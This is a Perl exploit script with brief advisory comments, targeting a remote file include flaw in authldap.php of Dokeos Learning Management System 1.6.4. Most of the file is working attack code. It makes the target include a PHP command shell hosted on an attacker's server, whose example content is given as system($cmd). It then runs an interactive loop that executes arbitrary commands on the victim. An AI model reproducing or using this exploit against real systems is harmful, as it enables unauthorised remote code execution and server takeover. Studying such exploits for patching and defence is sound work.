#!/usr/bin/perl

############

# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>

#
# uso:#   perl own.pl <host> <cmd-shell-url> <cmd-var>

#     perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a  vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;


$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while() {

  print "[shell] \$";

  while(<STDIN>)      {

    $cmd=$_;

    chomp($cmd);
    if (!$cmd) {last;}

    $xpl = LWP::UserAgent->new() or die;

    $req = HTTP::Request->new(GET
=>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

    $res = $xpl->request($req);

    $return = $res->content;

    $return =~ tr/[\n]/[ê]/;

    if ($return =~/Error: HTTP request failed!/ ) {
      print "\nInvalid path for phpshell\n";
      exit;
    } elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
      print "\nInvalid Command, error.\n\n";
    }
    if ($return =~ /(.*)/) {

      $finreturn = $1;

      $finreturn=~ tr/[ê]/[\n]/;

      print "\r\n$finreturn\n\r";

      last;

    } else {
      print "[shell] \$";
    }
  }
} last;


sub head()  {

  print "\n============================================================================\r\n";

  print "  Dokeos Learning Management System Remote File Include\r\n";

  print "============================================================================\r\n";

 }


sub usage() {

  head();

  print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";

  print " <host> - Full Path : http://host/dokeos/ \r\n";

  print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";

  print " <var> - var name used in phpshell : cmd  \r\n\r\n";

  exit();

 }